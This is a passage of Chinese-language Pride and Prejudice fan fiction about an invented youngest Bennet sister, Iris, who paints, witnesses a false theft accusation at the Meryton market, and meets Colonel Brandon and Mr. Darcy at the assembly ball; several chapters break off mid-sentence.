《[傲慢与偏见]艾莉丝的鸢尾花》 1. 第一章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 太阳自林间升起，耀眼的晨辉将郎伯恩灰蒙的天空照亮。 特意早起的艾莉丝把画板放在河岸边，她先是从随身携带的袋子里掏出画笔，随后小心翼翼地取出一个尚未洗干净的，还留有些许颜料的调色盘。 毕竟绘画用的颜料可不便宜，尤其是那些用金属和稀有矿石研磨调制出来的颜色，诸如石青石制的群青色，或是鳞甲虫制成的深红色，价格更是昂贵的令人咋舌。 反正以艾莉丝到手的零花钱，估计攒个几年都不一定能买下一袋稀有材料制成的颜料，何况她平日里需要添置的东西也不在少数，诸如不同季节不同场合所需要的衣裙鞋帽，即便能借用家里几个姐姐的那一份，或者是自己费点时间重新修饰一番，但也无法完全弥补艾莉丝在画画上的缺口。 想到前不久舅舅加德纳先生无意间透露出的消息，艾莉丝不由祈祷起来：“赶紧让爸爸投资的工厂赚到钱吧，然后涨一涨我的零花钱！” 她，包括母亲班内特太太和几个姐姐，都没料到班内特先生会同意和加德纳舅舅一起做生意。 这可真是太阳打西边出来，丝毫不符合班内特先生一贯的性格。 倒不是说班内特先生和其他绅士一样看不起商人，而是他生来没什么野心。对班内特先生而言，只要守着从祖宗那继承到的财产，日常生活不铺张浪费，单凭所属土地的年收入，也足够维持一家子的开销。 然而，事情坏就坏在班内特先生和班内特太太生了六个女儿，都没能生出一个儿子上。 没有儿子，就意味着班内特家没有可以满足财产继承条件的男性继承人，这就代表一旦班内特先生去世，那他的妻子和女儿就会落得个无家可归的凄惨境地。 打从莉迪亚和艾莉丝这对双胞胎出生，班内特先生和班内特太太就开始有了替女儿们攒嫁妆的准备。不过，算上当初班内特太太自己带来的嫁妆，等到六个女儿长大，他们夫妻二人满打满算只能给每个女儿一千英镑。 一千英镑的嫁妆简直可以用微薄来形容。 或许是有这方面的考量，外加加德纳舅舅有着多年从商的经验，总之班内特先生不声不响的在棉纺织业上投了笔钱进去。 在班内特太太不依不饶地弄清楚这件事的来龙去脉后，每逢礼拜天去教堂礼拜，家里的每个人都会用再真诚不过的心去祈祷。 谁会嫌钱少呢？ 艾莉丝可是眼馋那些买不起的颜料很久了，而且就她所知，几个姐姐也都各有想买的东西，比如莉迪亚嚷嚷着要买细纱布长裙和新式的帽子。 一边畅想着班内特先生赚大钱后家里的舒坦日子，艾莉丝一边从袋子里挤出还不如豆点大的颜料，生怕一不小心就浪费了由树脂制成的藤黄。 随着画笔在画布上的涂抹，倒映着枝叶和天空的河面一点点还原。粼粼的水波一圈圈漾开，倾洒而下的光线像是被吹皱了的金箔，揉碎在涟漪里。 她全神贯注，眼中只剩下逐渐完成的画作。 澄澈如镜的河面上，除了旭日的灿烂和青翠的绿意，还有一抹柔和的粉。原来是有位穿着粉色波丝绸长裙的少女，她正自由自在地在长满青草和野花的岸边散步。一阵风忽然拂过，将她别在棕色长发间的花朵吹落。她下意识地伸出手，想要抓住随风离去的花，却阴差阳错地吸引了一只翩翩飞舞的蝴蝶。 整幅画的色调和谐统一，清新明媚。 “在爸爸赚到钱之前，先感谢第一个发现能用茜草根代替鳞甲虫的人。”看着用茜草根在画布上涂抹出的绚烂朝阳，艾莉丝不得不感慨前人的伟大。 无数囊中羞涩的前辈想方设法，通过植物、花卉和浆果这些较为廉价的原材料来调制出更丰富的色彩，以此降低绘画成本，主打用最少的钱用到最多的颜料。尽管有些颜色会随着时间的推移而变色，但那也是之后的事情了。 艾莉丝退后几步，细细观摩后，又在有瑕疵的地方添补了几笔。 “接下来，就是等颜料彻底干了之后上油了。” 这一步起码要等上几个月，倒也不急于一时。 仗着四下无人，艾莉丝丢掉所谓的淑女礼仪，不雅地伸了个懒腰，然后活动着因长时间保持一个姿势而发酸的肩颈 。 此刻距离艾莉丝出门已经过了个把小时，太阳从最初的树干升至树梢尖尖。婉转的鸟鸣好似优美的乐曲，穿过原野上逐渐散去的雾霭，吹送到她的耳畔。 轻哼起家里最近常被弹起的乐曲，艾莉丝利落地收拾好画具，往家里的方向走去。 班内特宅邸坐落在不远处。 朝着炊烟飘出的方向走上几分钟，就能看到掩映在林木小道后的一幢三层楼高的房屋。 浆洗过的棉麻细布晒满了整个后院。艾莉丝远远地避开去，以免滴下的水渍晕开未干的画布，又绕开正打着架飞出不少羽毛的家禽，她三两步走上台阶，随后推开靠近小客厅的门。 一段旋律轻快的钢琴曲便没了遮掩，悠悠扬扬地溜出室内。 不需要多想，艾莉丝就知道是三姐玛丽在练琴。 家里只有玛丽耐得住性子，不但每日勤加练习琴艺，还能啃下那些比班内特先生的年龄还要大出许多的厚部头书籍。 什么《论原因、本原与太一》、《知性改进论》……之类的书籍，艾莉丝曾经借来翻阅过几页，结果通篇的哲学目的和哲学理论，读来佶屈聱牙，密密麻麻的小字像是四处乱爬的蚂蚁，偏偏爬不进她的脑子，倒是睡意来得前所未有的快，没一会功夫她就哈欠连天。 最后，艾莉丝满怀敬意的把书还给了玛丽，并收获到一个“你怎么看这么快”不解眼神。 她摇摇头。 这等丢人的黑历史最好的结局就是埋在记忆深处，绝对不能让它有再见天日的一天。 不再多想，艾莉丝转身进到班内特太太专门为她收拾出来的画室。 屋子不大，但是放满了画笔、颜料和画纸，以及从小到大或是满意装框或是随意堆叠的画作，有几张下面还保留着家庭教师安娜小姐和姐妹们的评语。 “看来得找个时间整理一下了。”好不容易才找到一个可以展开画板的位置，艾莉丝幽幽地叹了口气。 整洁这种形容词，基本时隔两三个月才能出现一次。 盘算着哪天适合来个彻底的清理行动，又想可以拜托哪位姐姐过来帮点忙，艾莉丝才惊觉屋子里似乎过于安静了点。 举止文雅的简和丽齐不提，最能闹腾的莉迪亚和凯瑟琳是转了性子吗？ “玛丽，其他人呢？”艾莉丝问着最有可能知道的人。 “好像是有什么人要来梅里顿，妈妈急着喊爸爸过去拜访。”玛丽停下手里的动作，努力回忆。班内特夫人回来时神情焦急，一句话没说完就跑进了班内特先生的书房里。 “简她们都现在都在书房门口偷听。” “是什么人能让妈妈急成这样？玛丽你不好奇吗？” “我想过不了多久，莉迪亚她们就会把事情嚷得站在角落里都能听见。我就不去凑这个热闹了。” 玛丽对莉迪亚的形容不带半点夸张，纯粹是照实描述，不过她没在这个话题上多说，只道：“她们刚开始没多久，你现在过去听应该能赶上。” “那我去啦！”说着，艾莉丝一溜烟地小跑出了狭窄的过道。 正如玛丽所言，其他四个姐姐正堵在班内特先生的书房门口，个个聚精会神地听着里面的动静。 被气氛感染，艾莉丝放轻了脚步，缓慢凑到空的位置上，她用气音问道：“妈妈这是和爸爸说什么呢？” 忙着偷听的莉迪亚和四姐凯瑟琳没回话，还是大姐简三言两语作了解释。 空置许久的内瑟菲尔德庄园被一位来自英格兰北部的绅士租了下来。 这个消息在当天就像是长了腿一般，从原主人莫里斯先生那迅速传到了朗伯恩乃至梅里盾的每一个角落。 其中最能拿出来说道的就是他不仅年轻富有，一年有着五千英镑的收入，最关键的点在于他还是一名单身汉。 众所周知，有钱的单身汉总要娶一位妻子。 深谙过了这村没这店的道理，班内特太太哪能不着急，她打听到这个消息后便赶忙回来，强烈要求班内特先生尽早去拜访那位宾利先生。 听到这，艾莉丝哪还有不明白的地方。 自从班内特家确定不会拥有一位男性继承人之后，女儿们的婚事就成了班内特太太的心头大患——如果不嫁人，那她们未来的生活就会失去保障，偏偏她们又无丰厚的嫁妆，只能期望于有不介意这一点的绅士出现。 不过即使明白，结婚对艾莉丝来说没什么实感，就跟她和昂贵颜料的距离那样，处于看得见，但是摸不着，更体会不到的程度。再则，从嫁人的顺序来看，她也 2. 第二章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 梅里顿距离朗伯恩不过一英里，如非必要，姐妹几个习惯散着步过去，还能欣赏沿路的风景。 尽管在城里人眼里，乡村难免和落后、土气、粗俗这些词挂钩，但在环境方面，人口密集又不注重卫生的城市可不如乡下来得舒服，空气更是比不上满是树木草丛的旷野林间那么清新。 这也是一到夏天，有钱人纷纷往乡下庄园跑的缘故。 而且，乡村也有属于乡村的特色。 今天恰巧是赶集的日子，周边的村民都会到梅里顿进行采购。为了占据优越的地理位置，不少商贩早早赶来布置摊位。等班内特家的几个姐妹到达街区时，就听到街道上各种商品的叫卖。 随便一个人路过，都会受到商贩热情的招呼。而年纪不大又手松的年轻小姐向来是商贩们青睐的对象，尤其是售卖发带、手帕、饰品的几个摊位。 好不容易从满耳朵的吆喝声里逃出来，简看着身边各有打算的妹妹们，她问：“你们想一起行动，还是各自买各自需要的东西，买完之后再在某个地方汇合？” 为舞会上的大半琢磨了一整晚，莉迪亚早已按捺不住内心的急切：“就不一起了吧？这样太浪费时间了，我们还是分开行动的好。”她边说，边往要去的店铺方向瞄，“而且其他人肯定也想去买最新的绸带，万一我去晚了，可就只能捡她们挑剩的了。” 家里几个姐妹当中，属莉迪亚对打扮这一块最上心、最在行。 “我也担心新款的帽子被卖完。”凯瑟琳说。 “既然这样，那就各买各的吧，到时候我们还是在这个地方碰面。”街上的人越来越多，伊丽莎白又特意叮嘱玩性大的莉迪亚，“买好东西以后，你可别带着基蒂瞎逛。” “我们顶多就是在摊子上再看看。”不耐烦管教的莉迪亚摆了摆手，她想起出门前班内特夫人的嘱托，“艾莉丝，你打算买个什么颜色的绸带，我帮你一并买了。” 压根没打算买绸带的艾莉丝一脸迷茫，她颠了颠腰间小包的份量，再想想画室里用瘪的颜料袋子，原本的动摇立马烟消云散。 “我就不买了。” “那我替你选，钱就不用给我了。”莉迪亚一副赚到的模样，她生怕艾莉丝再说出拒绝的话，赶忙拉着凯瑟琳跑开。眨眼间，两人就消失在了人群中。 艾莉丝总算反应过来。 昨天计划好出门后，班内特先生给了每人一笔零花钱。虽说在父爱的表达上，班内特先生对后面的四个女儿都显得格外吝啬，但起码在零花钱这一方面，他没忘记公平。 而班内特太太不然，她一贯疼爱莉迪亚和艾莉丝，偶尔会在私下里补贴两个女儿。 想到这次估计是班内特太太把钱都给了莉迪亚，所以才有了刚刚这一出。艾莉丝不大好意思的偷偷瞄了瞄三位姐姐，见她们脸上没有流露出异样的表情后，她又默默把悬着的心咽了回去。 只是多少有些负罪感。 “你是该买条新的了，”善解人意的简温柔地笑道，“不然总是改旧的那些，会被眼尖的夫人小姐发现的。” “……我这不是想着一物多用嘛。” 伊丽莎白调侃：“你再用用，那绸带上拆出的针眼就要遮不住了。” 一条绸带，既当腰带使，又当发带用，时不时还要点缀在帽子上。花纹绣了拆，拆了绣，挡不住就叠加蕾丝纱带。再怎么心灵手巧的小姐，瞧见艾莉丝的做法，估计都能甘拜下风。 “正巧前不久妈妈给我们做了新裙子。莉迪亚估计会给你挑一条跟裙子搭配的绸带，省得你再到处拆了。” 艾莉丝连连点头，她眨着大眼睛，脸上写满乖巧，像是把伊丽莎白的话都听了进去。 “玛丽你呢，是要直接去图书馆吗？”简问一旁不吭声的玛丽。 “嗯，我要去还书。”玛丽双手捧着加起来有手掌厚度的书，书脊上的单词有些甚至都掉了墨。 看了两眼斑驳模糊的字迹，艾莉丝选择放弃思考，她不等简问，自觉地扬起手中密密麻麻写满小字的纸张：“我去寄信。” 如今的马车和公路体系发展的很迅速，但由于邮资不仅不便宜，还按页要求收件人付费，艾莉丝不得不把自己对安娜小姐的关心、在绘画上的收获和疑惑等事，用最小的字体写满信件的正反两页。 所幸她的字迹虽然小，但足够娟秀，哪怕不分段落，也不会令人看得头晕眼花。 简了然，她表示要和丽齐去趟文具店，询问两个妹妹是否有要买的东西。 “帮我买一支新的羽毛笔就行，我原先的那支不太好用了。”玛丽说。 艾莉丝则是用完了墨水，她拜托两位姐姐看一下她常用的那个牌子的墨水有没有进货。 四人分开后，艾莉丝继续往前走。邮局坐落在街道靠里的位置，她得经过一个十字路口。 奈何今天来赶集的人格外多，光是挤出专门划分给商贩摆摊用的区域就要费上好大一番力气。 也不知道莉迪亚是怎么在拉着凯瑟琳的情况下，还能跑这么快的。 望着前面高低不同、颜色不一，款式多样的帽子海洋，艾莉丝只得专挑人与人之间空出来的缝隙。她庆幸这会路上没有骑马的人，或者是驾驶的马车，否则人们为了避让，只会分海一般堵到两边。 然而，其他的意外却不请自来。 本就熙熙攘攘的人群陡然间像是烧开了的水沸腾起来。以闹出动静的地方为中心，人群呈圆圈状不断外扩，越是靠近内围的人，受到的推力越是明显。 不知是谁推了把，艾莉丝一个不察，身体便失去了平衡。在惯性的作用下，她整个人都控制不住地向前倾倒。 一时间，喧闹声彻底消失在艾莉丝的耳畔，随着贴地的命运即将降临，心脏的跳动也愈发激烈。 她下意识地抬起手臂，想要在慌乱中抓住一个支撑物。 千钧一发之际，幸运之神光顾了艾莉丝，使她免于摔得头破血流的不幸。 因恐慌而引起的眩晕尚未退去，一个含有担忧之意的声音就从艾莉丝的头顶传来。 “这位小姐，你没事吧？” 感受着手中略显厚实的布料，温热顺着掌心蔓延，教艾莉丝的理智逐渐回笼。她摇摇头，缓和着失衡后的不适，尽量用平稳的语气回答：“我没什么事，谢谢关心。” 对方似乎听出了艾莉丝发颤的声线，略微迟疑了两秒后，一边说着“请原谅我的冒昧”，一边小心的将她搀扶起来。 艾莉丝这才看清这位好心人的容貌。 对方俨然是位标准的绅士，他头戴一顶软质细毛料礼帽，身穿黑灰色毛呢长外套。大概是刚才为了扶起艾莉丝，他将文明杖转移到了被她握住的左手。 见她站稳，他端肃的面容依旧透露出几分关心，眉宇间那道深壑皱起，像是经年累月被水滴凿的石头，抚不平半点痕迹。 再打量下去就会显得不够礼貌，艾莉丝收回视线，再次诚恳地道谢：“真是多亏了你的帮助，先生。”她心有余悸，“要不是你的好心，我就要狠狠摔上一跤。这想想就令人感到后怕。” “你言重了。任谁来都不会眼睁睁看着一位小姐摔倒。我只是做了我能做的。” “即便你这么说，我还是要向你表达我的感激之情。”艾莉丝很是认真，“毕竟帮了我的就是先生你，而不是其他人。” 看艾莉丝如此较真，对方没再客气地推拒她的口头答谢：“小姐你没事就好。” “请问你知道刚刚是发生了什么吗？怎么就平白地推搡了起来？” “抱歉，我不是很清楚。”事情发生的突然，他和艾莉丝一样，一无所知。 “可能是谁和谁之间起了摩擦。”没法从他这得到答案，艾莉丝也不在意，她屈膝提裙，“那我就不多打扰你了，以及再次感谢你的帮助，先生。” 对方恰当地颔首，没再客套下去。 艾莉丝便转过身，努力踮起脚尖，试图透过人流看清事故地带的情况。 周遭的人估计都抱着看热闹不嫌事大的态度，一个个停留在原地，不时和同伴窃窃私语。 “怎么一回事？是有人吵起来了吗？” “好像是有人的东西被偷了，失主正拉着嫌疑人，让他把东西交出来。” “总是有人想要不劳而获，可惜他没料到这次竟然失了手。”认为已经了解事情了的全部，围观的男子发表自己的评论，“要我说，这种人肯定是惯偷，专挑人多的时候下手，像这样的人，就得扭送到地方治安官那里去，教他吃点苦头。” “你说得不无道理……不过，嫌疑人咬死了是失主诬陷他，并要求失主拿出证据他偷东西的证明。” “失主哪会无缘无故冤枉人。我看那个嫌疑人的穿着打扮并不富裕，衣服浆洗得发白，他一时起意干出这事也不是不可能。要知道那个失主不见的怀表可不便宜。” 通过附近的对话，尽管还没捋清，但艾莉丝知道了个大概。她虽然不知道谁才是小偷，不过在听到男子的那番衣着论之后，很是无语地冷哼了一声。 “没钱怎么了，没钱还能把自己收拾得干净整洁的人，怎么看都不像是会干坏事的样子。”她小声嘀咕，“说得好像穷人就没有高尚的品德似的。” 本来是赶着去寄信，现在艾莉丝决定留下来看完。 “我倒要瞧瞧最后是怎么个结果。” 很明显，有这个想法的人不在少数。 发生争执的两人还在你一言我一语，一个力图证明对方是小偷，一个坚决表明自己没做过偷鸡摸狗的事。 失主愤怒地瞧着文明杖：“不是你干的，那为什么偏偏你路过我的时候，我的手表不见了？” “我手上抱着孩子，怎么可能有机会拿你的手表。”被怀疑的人一手把自己的妻子护在身后，一手抱着因为害怕而泫然若泣的小孩。他们一家三口，“先生，是选不义之财，还是选锒铛入狱，我不至于分不清利弊。” “也许你就是想铤而走险呢！”有好事的人来了一句，引来失主的赞同。 “但是我已经给你看了我身上所有的口袋。你的手表根本不是我拿的。” “你的身上没有，不代表她的身上没有！”失主盯着他身后的夫人，怀疑他私底下把手表转移到了妻子身上。 “你别太过分！”他怒了起来。 “是你赶紧老实承认！” 艾莉丝踉踉跄跄地点着脚，她个子高挑，也没法比过男子的身形，只能在夹缝里窥清事态的发展。 纵然她不大相信是这个男子偷的表，可空口无凭。 < 3. 第三章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 当小姐们忙于把绸缎装饰到帽子或裙子上时，几天的时间倒也没有想象中那么漫长。一眨眼的功夫，就到了舞会开始的当日子。 入夜不久，梅里顿的公共舞厅内烛火通明，排成两列的男女站在舞池中央，随着奏响的音乐跳起活泼欢快的乡间舞步。 而作为舞会举办的主人，威廉·卢卡斯爵士和他的妻子身边围了不少打听消息的人。 她们早早听说租下庄园的宾利先生会出席这场舞会，甚至有传言他从伦敦请来了好几位女伴。然而，环顾了一圈，在场的人里基本都是些熟面孔，她们连半点宾利先生的人影都没摸着。 伊丽莎白说：“宾利先生真是个香饽饽，没来就有一堆人惦记。” “谁让他年轻富有呢。梅里顿里最有钱的绅士，一年都未必有五千英镑的收入。”坐在伊丽莎白身旁的小姐笑道。 她是卢卡斯家的大女儿，夏洛特·卢卡斯。要问宾利先生的事，整个舞会除了卢卡斯夫妻以外，就只有她清楚。 艾莉丝好奇：“所以，那位宾利先生真的邀请了很多位女伴来梅里顿吗？” “没有传言那么夸张，和宾利先生一起入住内瑟菲尔德庄园的是他的两个姐妹和姐夫，以及两位男性朋友。”卢卡斯小姐和伊丽莎白是关系要好的闺中密友，自然不吝啬于和伊丽莎白的姐妹分享消息，“不过看样子他们似乎还没来。” “备受瞩目的人总是喜欢晚上那么一会儿出场，否则怎么拉满围观者的好奇心。”伊丽莎白点评。 简柔声说道：“可能是临时出了什么事。”她性格善良温柔，最不擅长的就是先入为主地臆测别人，“提前答应好的事，如若不是出了岔子，没人会想临时反悔的。” “你总是把人往好的地方想。”伊丽莎白说，“希望那位宾利先生对的起简你的这番解释。” 卢卡斯小姐看了眼在烛光下也没能损失半点美貌的简：“这个场合下，他必然得邀请这位好心的小姐跳上一支舞。” 伊丽莎白跟着打趣：“如果是我，哪怕不清楚发生了什么，但是在见到简之后，也是要请人代为介绍的。” “舞厅里的惊鸿一瞥，怎么不算是浪漫的邂逅呢？”艾莉丝双手捧胸，仿佛是被爱神用金箭射中，软绵绵地歪倒在简的肩头。 下一秒，腰间传来痒意。 像是受到惊吓后迅速跑开的猫咪，艾莉丝唰的一下坐直了身子，她瞧了瞧无事发生的伊丽莎白。 “为什么丽齐就没事嘛！” “丽齐可不怕痒。要看她吃瘪，我恐怕得找个口才更伶俐的人才行。” “我想这样的人大概很少，”深知伊丽莎白的嘴在必要时有多不留情，卢卡斯小姐说，“或许艾莉丝你可以期待下今晚能有这样一位头脑敏捷、思路清晰不亚于丽齐的人。” 在这方面和伊丽莎白能平分秋色的人…… 不知道为什么，艾莉丝竟然觉得那画面会很有意思。 她想象了一下。 两个都不轻易服输的人，你来我往互相打机锋，大概会擦出越说越起劲的火花？ 恰在此时，门被人从外推进。 在夜色的笼罩下，四位陌生来者整齐得站成一排，他们默不作声，视线迅速扫过室内。 正跳着舞的人下意识地停了下来，和周边或站或坐的人看向他们。 热闹的室内瞬间鸦雀无声，和刚才欢聚一堂的氛围形成鲜明的对比。 威廉爵士上前欢迎的工夫，卢卡斯小姐轻声为班内特家的三姐妹介绍起宾客的身份。 最右边的绅士便是租下内瑟菲尔德庄园的宾利先生，他相貌堂堂，透出一股轻易就能讨人喜欢的可亲气质。 四人里唯一的女客，则是宾利先生的妹妹卡洛琳·宾利小姐，她容貌不算顶顶好看，但那身比流行在梅里顿的款式时髦许多的长裙足以替她添色。 简单打量过宾利兄妹，艾莉丝的目光落在宾利先生的左手边，她听见伊丽莎白正在询问卢卡斯小姐有关宾利先生旁边两位男士的身份。 “年轻英俊的是达西先生，年长些的是布兰登上校，他们和宾利先生都是互相交好的朋友。” 随着他们四人穿过被让出的舞池，脸上的神情在烛光的照耀下，教人一览无余。 宾利先生满脸微笑，看着和颜悦色，他饶有兴致的和威廉爵士说着话，俨然好奇于今夜的舞会。 与之相反的是另外三人。 他们一个个表情淡漠，不似宾利先生那般轻松自在，要么是像宾利小姐那样扫视舞厅时流露出几分不屑，要么是像两位男士那般，好像身处的地方不是娱乐，而是受刑的场所。 其中，尤以达西先生为甚。 伊丽莎白道：“那位达西先生看上去怪痛苦凄惨的。” “可能痛苦，但绝对不惨。”卢卡斯小姐说，“达西先生有着一万英镑的年收入，还拥有大半个德比郡。” 她俩聊得正起劲，艾莉丝则混在一众的视线里，暗暗打量起卢卡斯小姐所说的布兰登上校。 虽然过了好几天，但她一眼认出对方是那天的好心人。 想不到会有这么巧合的事，街道上随便碰到的路人，结果竟是宾利先生邀请来的同伴。 就在艾莉丝心生感慨之际，宾利先生四人沐浴着众人的目光下，毫不拘谨地穿过大半个舞池，最后停在壁炉的一侧，由卢卡斯先生继续招待。 若是迟到的人是她，恐怕这会尴尬都要具现化地溢出来了，亏得他们居然能面不改色，心理素质实在强大。 没了干扰的因素，欢快有如得到解禁般回到舞厅，仿佛刚才的凝滞只是一场错觉。 当其他人还在观望之际，等候多时的班内特太太哪还沉得住气，她急匆匆的让班内特先生带着玛丽先过去，自己则艰难挤过人群，拉上还有闲情逸致聊天的三个女儿。 “你们怎么还坐在这？”班内特太太火急火燎又难掩激动，“赶紧跟我过来。”她一手推着一个女儿，简走在最前面，伊丽莎白只来得及和卢卡斯小姐挥手，就不得不跟着简，以免被垫后的艾莉丝撞到。 盯着班内特太太望穿秋水一般的焦灼视线，艾莉丝戳了戳伊丽莎白的后背：“丽齐，你看我们像不像被鸭妈妈赶的小鸭子？” “那宾利先生就是即将要被吃掉的口粮。”伊丽莎白戏谑。 等到她们站到众人眼中的香饽饽宾利先生跟前时， 4. 第四章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 得不到解答的问题没有困扰艾莉丝太久，新的事物吸引了她的注意。 和欢快气氛格格不入的两位先生，布兰登上校和达西先生入座在伊丽莎白不远处的空座上。他们一个赛一个内敛沉默，犹如两座冰山，存在感极强，却又教人无以应对。 有位小姐恰好坐在达西先生的右手边。艾莉丝瞥见她主动向达西先生搭话，然而达西先生的回应似乎浇灭了她的热情，使她讪讪地转回头。没过一会儿，她便转身离开，小步快走的步伐依稀透出几分难堪。 艾莉丝大为震撼。 按照道理，像达西先生这般身家比宾利先生更胜一筹的单身男士，想来会更受小姐们的青睐。 不过，艾莉丝规规矩矩地收回视线，假装什么都没看见。她想她非常能理解为何他们二人不会陷入无止境的聊天了——以达西先生表现出来的性格，恐怕很难有小姐愿意用热脸去贴冷屁股。 但对于达西先生而言，得不到他人的喜欢未必不是一件好事？ 想到存在这种可能，艾莉丝和伊丽莎白分享起自己的发现：“丽齐，我跟你……” “怎么了？” 伊丽莎白看着艾莉丝上一秒还像是偷吃到鱼的小猫，满脸祟祟的笑意，下一秒又像是被主人抓了个正着，呆呆地瞪着眼睛，连着耳朵和尾巴都垂了下去。 可能是观察他们动向，以免被听见悄悄话的视线太明显，艾莉丝一个不察，和布兰登上校的目光撞了个正着。 他微微怔愣，紧接着朝艾莉丝和善地笑了笑。 “艾莉丝，”伊丽莎白问，“艾莉丝？” 慌不迭地收回视线，顶着伊丽莎白疑惑的眼神，艾莉丝眨了眨眼，语速轻且快地说起刚才的一幕。 “照你这么说，那他可算是如愿啦。”伊丽莎白忍俊不禁，“我看呀，你也是个小促狭鬼。下回简和玛丽再说家里面就数我最喜欢揶揄别人，我可就不认了。” “那，那我们俩就是大小促狭鬼。”艾莉丝理不直，气不壮。 话题逐渐跑偏，艾莉丝眼睛晶亮，完全忘了被抓包的插曲。 “莉齐，艾莉丝，你们在聊什么呢，聊得这么起劲？” “达西，布兰登，你们怎么不去跳舞，反而坐在这打发时间？” 同一时间，不同的声音响起。 简和宾利先生跳过舞，就循着两个妹妹过来，她猜伊丽莎白肯定有很多问题想问。不曾想，宾利先生的两位好友也在，宾利先生自然和她同路。这下要说的话只得暂且挪后。 有这个想法的不只是简，宾利先生颇有些恨铁不成钢的架势，他是怎么也没料到他的两个朋友居然宁可干坐着。 先回话的是艾莉丝：“之前在家不是商量着把小花园重新打理一下嘛，我和莉齐在想种哪些花合适。” 简了然。 改造荒废的小花园最初是艾莉丝的主意，她畅想了一圈改造成功的情景之后，其他姐妹也被带动起来，纷纷出谋划策。 “这的确是要好好规划一下。不过距离开春还有很长一段时间，等回到家，我们再讨论讨论。” “嗯嗯，我已经想好种什么花了。等大家都确定好，就可以设计花园的样子了。” 看艾莉丝两眼放光的期待之情，伊丽莎白调侃：“一提到这个事，比让她去跳舞还精神。” “明明莉齐你也乐在其中。” “所以这一轮我没去跳。” 达西先生侧目，看了眼伊丽莎白。 听到两位小姐无心跳舞，宾利先生不好意思当着她们的面，继续揪着自己朋友的行为不放，他无奈地摇摇头，感慨达西先生和布兰登上校的固执。 当然，好友的态度丝毫不影响宾利先生对舞会的热爱，他兴致勃勃地参与到第三轮中。 “查尔斯总是这么生气勃勃，他今晚肯定又要一曲不落地全跳上。”观望过公共舞厅的情况，宾利小姐缓步朝达西先生走来。 “他只会觉得舞会散太早，跳得不够尽兴。”达西先生非常了解宾利先生的秉性，“恐怕，他会很乐意在内瑟菲尔德庄园里举办一回。” “我敢保证，你说的事一定会发生。这里的舞厅不够大，伴奏倒是尚可，但我还是希望查尔斯到时候能请一支更专业的乐队过来。” 宾利小姐挑剔了一番，勉强指出一些还算看得过去的地方。她看向达西先生，试图从他这得到一些反馈。 于是，在几秒的沉默后，她挽上达西先生的胳膊翩翩然走到舞池的最后。往前数两排数则是简、伊丽莎白和邀请她们的舞伴。一时间，在场的人只剩下艾莉丝和布兰登上校。 矗在原地并不是什么好选择，对视一眼，两人默契地避到一侧。 “艾莉丝小姐，”在她因局促而不知所措之前，布兰登上校率先开口，“你后来有弄清楚事情的来龙去脉吗？” “原来上校你没继续围观呀。其实那天没过多久，钟表店的老板就拿着手表追了出来——是那位布朗先生自己忘记拿表，冤枉了别人。” “看来，好在那位老板及时赶到，还对方一个清白。” “可不是嘛，但是布朗先生甚至没跟对方说句道歉的话，真是……”艾莉丝皱眉，从没接触过什么过分谴责的话，她绞尽脑汁，最后也只说了句“真是太不绅士了”。 “只希望借由这件事，在场的人不会轻率地做判断。集市上人多眼杂，若是真的遇到小偷，却因错认而让对方逃之夭夭，不仅会使破案的过程多添波折，也会让无辜的人蒙受不白之冤。” “但愿吧。”艾莉丝话题一转，“想不到上校你就是宾利先生回伦敦邀请的客人之一。我早该联系起来的，梅里顿平日不常有外人来。”她抬眼，布兰登上校的着装笔挺整洁，更显他高大挺拔的身形，“而且附近的村镇上，但凡有头有脸的人物，大家即使没怎么见过本人，多少都会有些印象。” 她说的都是实话，因而神情自然，不带恭维，布兰登上校却有些不好意思，他只道：“宾利说他在一个空气清新、环境优美，人人热情友好的好地方租下了庄园，并且盛情邀请我和达西前来小住一段时间。” “所以，上校你觉得梅里顿怎么样？是否有宾利先生说得那么好？” “乡村的自然景观总给人宁静、祥和、优雅的感觉，梅里顿也不例外。” 艾莉丝没去过伦敦以外的地方旅行，可在见过画家笔下的风光景色后，她难免心生向往：“虽然乡村的景观大差不差，但亲自去看一眼的话，或许会有不同的感受吧。” 见状，布兰登上校从自己待过的地方里挑挑拣拣，选了几个比较有特色的风景描述给艾莉丝听，他用词虽不似作家诗人那般讲究修辞、用词工采美丽，却足够凝练精准，反而越发凸显出各地的不同。 “光是听上去就格外吸引人，只是不知道什 5. 第五章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 和布兰登上校的交谈结束于另一位男士的邀请，艾莉丝客客气气的和他告辞，转而享受起今夜的舞会。 跳舞是一项极其耗费体力的娱乐活动，艾莉丝的兴致在跳过两轮后得到满足，和始终都有人邀请的简打了个招呼，她便下场准备找个地方休息一会，让发酸的小腿缓上一缓。 “丽齐、夏绿蒂？” “是艾莉丝啊，”伊丽莎白应道，“我正打算和夏绿蒂去点些吃的，你要一起吗？” 虽然卢卡斯小姐的父亲威廉爵士是舞会的举办者，不过想在公共舞厅里进餐则需要自己额外出钱。 先是聊了好一会儿的天，接着又消耗不少体力，这会听到吃的，艾莉丝便想来上一杯酒水，她欣然答应。 绕过热闹的舞厅，她们三人来到被隔开的偏厅里坐下。 年轻小姐的话题左不过最近发生的新鲜事，伊丽莎白和卢卡斯小姐围绕着宾利先生的情况说了好一会儿——他果真如宾利小姐和达西先生所说，一支舞都不曾落下。 “他似乎一直在留意简。”卢卡斯小姐笑道。 伊丽莎白说：“他的妹妹宾利小姐也只对简有些笑脸。” 她们关系要好，哪怕卢卡斯小姐才是这场舞会的主角，伊丽莎白这么说，她也并不在意。 事实上，艾莉丝一直觉得，能得到伊丽莎白认可的卢卡斯小姐，必然有着可称赞的方面。 和班内特家东拼西凑，给女儿们备下一人一千英镑的情形不同，威廉爵士根本没能攒下给卢卡斯小姐出嫁的一个子。 这事还得从威廉爵士担任镇长的时候说起。 他因上书国王荣获爵士的称号，便认为行为处事需要恪守所处阶层的规则，像从商这类遭到上流人士所轻蔑的事，是决计不能继续下去的。所以，火速处理过手头的生意往来，威廉爵士带着所有的财产，和全家人搬到距离梅里顿一英里左右的房子里。 没了生意的进项，购置的土地产出又少之可怜，威廉爵士一家的日子过得愈发节俭。为了把钱用在刀刃上，卢卡斯夫人连佣人都不省得雇佣，家务全靠她和卢卡斯小姐操持。 